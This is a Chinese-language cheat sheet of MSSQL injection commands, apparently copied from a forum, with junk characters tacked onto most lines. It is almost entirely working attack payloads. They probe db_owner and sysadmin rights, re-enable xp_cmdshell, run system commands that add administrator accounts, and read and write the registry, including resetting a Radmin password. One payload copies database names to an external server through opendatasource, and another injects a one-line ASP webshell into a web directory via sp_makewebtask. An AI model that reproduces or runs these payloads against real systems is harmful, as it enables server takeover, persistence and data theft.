阿D常用的一些注入命令5 C" R! q+ a: {3 ~' {
//看看是什么权限的
1 k1 \9 B4 d5 v9 U. D; I; I0 cand 1=(Select IS_MEMBER('db_owner'))9 a5 Z/ o) ]5 W8 Y+ { E7 b9 w
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
z; ]$ W( I" ?/ X( z. p& ]3 z n9 y3 {2 |1 N& p! U
//检测是否有读取某数据库的权限4 O" J: i5 b6 I, \6 @3 P
and 1= (Select HAS_DBACCESS('master')) s3 u. k% ] X
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --4 f) B/ `5 c) y5 x3 G4 }
1 G, V+ m X5 N$ C8 v3 c
; [) j" t5 j# }. z! G1 }
数字类型- t- G6 c- x/ G* O- `
and char(124)%2Buser%2Bchar(124)=0
9 Y- [: M: j6 ~& F2 I: U
& o' i6 J1 Z. W6 z字符类型
; P q) j# ?6 U/ Z6 v9 F! f' and char(124)%2Buser%2Bchar(124)=0 and ''='
# k+ ~$ R, g) `4 ]3 o/ C f
/ |3 m+ e/ f3 w7 {" F1 X7 l% p. H% d搜索类型$ L5 K+ f- V$ O& Q' Y
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
" F' |- }; b; ]/ i3 n1 k8 k
* H4 l' Q6 ~" r爆用户名0 L) m" J h6 a" T
and user>0
0 G+ j5 ~+ L3 ]0 e5 f. {. b' and user>0 and ''='
. J; ?1 ^# r6 m5 _: G- m* p. p9 A J
2 i* h5 r5 I& J+ o1 ]检测是否为SA权限
5 O& X$ `& z% a' L, }3 oand 1=(select IS_SRVROLEMEMBER('sysadmin'));--
# {# s0 z/ g% t E( U6 QAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --' ~- T: [1 T% g: ^9 Y( `( g: w
7 {9 Q! P& K: j
检测是不是MSSQL数据库
/ f* R* i' O3 b4 Q# h7 Z: `and exists (select * from sysobjects);-- , J+ \3 U: a& \6 l" h7 j
4 s' d6 R# [. K$ p! ]% d! Q
检测是否支持多行3 E2 z0 u4 e; A4 G: @" _5 b; k
;declare @d int;--
2 w3 `- O* ?6 l' y7 R8 u1 A5 s- Q& {9 R- K( Y
恢复 xp_cmdshell* P% n6 C! h# P c
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--& {9 f9 w7 w' ~: V7 @$ m
; h" x" Z1 ~- M; X! w5 @; }9 j2 V6 F; H5 r( h
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') . n6 z/ S9 Q1 f5 x- e) F
, e- z, R; E0 K7 ^5 \3 a/ W//-----------------------
m# z. |7 n; e1 s+ ~. z// 执行命令3 j* Z4 s o9 S/ i# w
//------------------------ u% b' A( F/ w
首先开启沙盘模式:
' z. m9 S- u7 }# i) fexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1! T3 S! M% s$ M
/ \$ K, N5 ]( G4 ^0 k3 G+ L9 ]* C然后利用jet.oledb执行系统命令1 x! f; A6 e6 q; r/ s5 i
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
6 @% m3 \5 v! V' l
! Q: U a, H; }4 ^8 o6 x' P" b6 j执行命令* z: ~" |- D7 j" A" f
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--/ g. J4 c# n& H7 k! l
! |$ U! g5 Z/ C( K6 UEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'# A$ b/ }& H5 Y
2 N! T* A. s3 H) m5 A! w
判断xp_cmdshell扩展存储过程是否存在:
! \ t5 b$ I2 J4 `http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
% g# `7 c7 x) ?
5 i$ w4 Y7 W7 x) O2 g5 D+ d写注册表
* Q. d. _0 k2 K2 s1 w& m' ^9 zexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1) Z) ?% l+ L6 u9 l" k/ }0 i
2 A8 K! l& [0 r: u( x9 QREG_SZ5 Q- |9 X0 ^+ r/ J3 ^+ @
: {# w+ p. e d5 c/ V8 p% R读注册表
8 K! o- q: W2 C/ sexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'0 C( D, p) N0 r1 r
/ q& a; x3 H: W3 k读取目录内容* _ `. E0 |# E. ?" o! e2 a
exec master..xp_dirtree 'c:\winnt\system32\',1,1
9 I1 j6 L1 {1 v: o! p% h
6 }7 y' H! U! B" c7 | n* d* G/ N) C' Y8 y2 A: _" f3 g
数据库备份% H) x M( d m
backup database pubs to disk = 'c:\123.bak'
* \% f' E4 U: p$ Y" v$ Z) P
4 B. [" _0 X- f9 j8 u//爆出长度8 S" u G. \ U# \3 e; {' G! l1 e9 z
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
# b3 T; m7 @0 W" k1 J+ ?3 ~$ V1 I
- r) C3 s) P" V
( T' w% K5 P0 S( I% y' _
9 T% v8 S) V0 |# i更改sa口令方法:用sql综合利用工具连接后,执行命令:4 t0 E i% `4 P9 p7 Z
exec sp_password NULL,'新密码','sa'- A8 j6 c% G. {0 x) a
6 ^+ m! G8 ~: J
添加和删除一个SA权限的用户test:/ e! l4 B, I. f3 |. B
exec master.dbo.sp_addlogin test,ptlove
: l- K' O: e% D* o# U& cexec master.dbo.sp_addsrvrolemember test,sysadmin! c E7 e& G: D
7 w4 o$ E* c2 G( P删除扩展存储过过程xp_cmdshell的语句:
/ u. ]' d; L1 ~+ e ?exec sp_dropextendedproc 'xp_cmdshell'/ m/ l& j' W- _8 ^5 H% }; O. N( ]
& H) c* h) v/ }! {' [2 v" Z添加扩展存储过过程
% b; T8 y8 H+ C' X+ l/ bEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' 5 S+ H) h4 u7 Q+ m( f3 c
GRANT exec On xp_proxiedadata TO public
' j2 b+ d! S- |7 ?6 b/ {' e k4 u: x0 C: k
. f J! v) A! C' R6 Y+ z
停掉或激活某个服务。
3 I2 z' W& e5 Z- \3 p9 |) I* I4 ]$ z7 Z' y; e) E
exec master..xp_servicecontrol 'stop','schedule'/ B1 R* @; p( o% T% O
exec master..xp_servicecontrol 'start','schedule'/ E' s( k8 D: I
) K) P* X$ Z; _, v* s7 B' d
dbo.xp_subdirs) w* Y3 A4 l: r+ K1 b
( Q" I+ H% S- m4 }9 |- w只列某个目录下的子目录。
7 W& j6 Y+ r$ X/ V( z# W/ Wxp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'8 g; Z; G g- c6 g; J" {/ E
+ N _8 H. b) F r
dbo.xp_makecab) Q! ~+ l* [8 d3 l) Z$ c
4 j+ X; u6 J" o% p" H
将目标多个档案压缩到某个目标档案之内。
8 g8 ^1 D1 d; S0 [, D! h所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
- N- k2 ^9 F9 W3 O, l$ u0 R6 z1 C1 _+ u% f5 C3 R3 a0 k/ \3 P& B
dbo.xp_makecab
4 I# u! e0 S( I* k, w: i'c:\test.cab','mszip',1,
& D; k/ C! c) L* W'C:\Inetpub\wwwroot\SQLInject\login.asp',* l( a2 a0 H! S/ P% ~
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'$ f' ^% p- m2 B2 Y( Q
- b2 [3 x; v! \0 t7 j$ yxp_terminate_process
, o- W/ K3 K: g/ q# f; ~. @9 ^3 ?
8 Y- d9 q- M+ e" X" ]7 \. y停掉某个执行中的程序,但赋予的参数是 Process ID。: `3 k2 J6 g& A. i, b% E4 f
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
2 Z; I; I3 p9 Z) W) h
$ @* @- p* _# A6 [xp_terminate_process 2484
7 s- n+ S" `7 O" d d1 p7 q
- L: f3 f% `3 U9 r1 A8 s3 T' d* n. U8 qxp_unpackcab+ k8 K+ a. l' V B. R( R
3 y, J2 s) p) M3 g
解开压缩档。
1 k1 x- z5 E5 q2 E# K. I6 S: b. `/ l2 \( ]! }" q
xp_unpackcab 'c:\test.cab','c:\temp',1
: |5 i, C) C/ {( i; g: l+ v9 x) l ^) ?- v K1 o
. G; P9 a" ]: W+ c8 S/ Q# c某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
4 |2 l D% \9 y9 e& {) h( w( b! |* r6 X! _! t+ p
create database lcx;
; T0 \6 y! r0 j# D, gCreate TABLE ku(name nvarchar(256) null);2 X$ V1 F% T3 f1 j( z, a
Create TABLE biao(id int NULL,name nvarchar(256) null);1 g7 D0 S. g- V. x
- P1 l( ]' ?& [8 ?2 o+ x/ ]* w5 E
//得到数据库名
# W- Q/ l6 c% d6 r/ a5 Y( n P0 Ginsert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases! R/ B, m- H' z- u6 X1 W- _
/ M7 v4 d9 ~, H% n3 k+ l4 F; w. g$ p H( P
//在Master中创建表,看看权限怎样
) b/ @) v- U- b, M/ |, S. fCreate TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--; _5 o* m' ?9 |" y
$ Z2 H0 H. p8 k2 w2 t" R用 sp_makewebtask直接在web目录里写入一句话马:0 ~# x0 L% B# q( `9 t! X
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
* S8 t! O9 r p4 j
$ x8 w+ m3 v1 A# Y2 C; C//更新表内容% |% N7 g" z! v' H
Update films SET kind = 'Dramatic' Where id = 1232 [, Q* Y) Q9 ~; h" p8 h. n, ~
& e6 k" H2 e2 J; g4 E
//删除内容
. Q, R4 r) h: m% J8 ?7 hdelete from table_name where Stockid = 3 |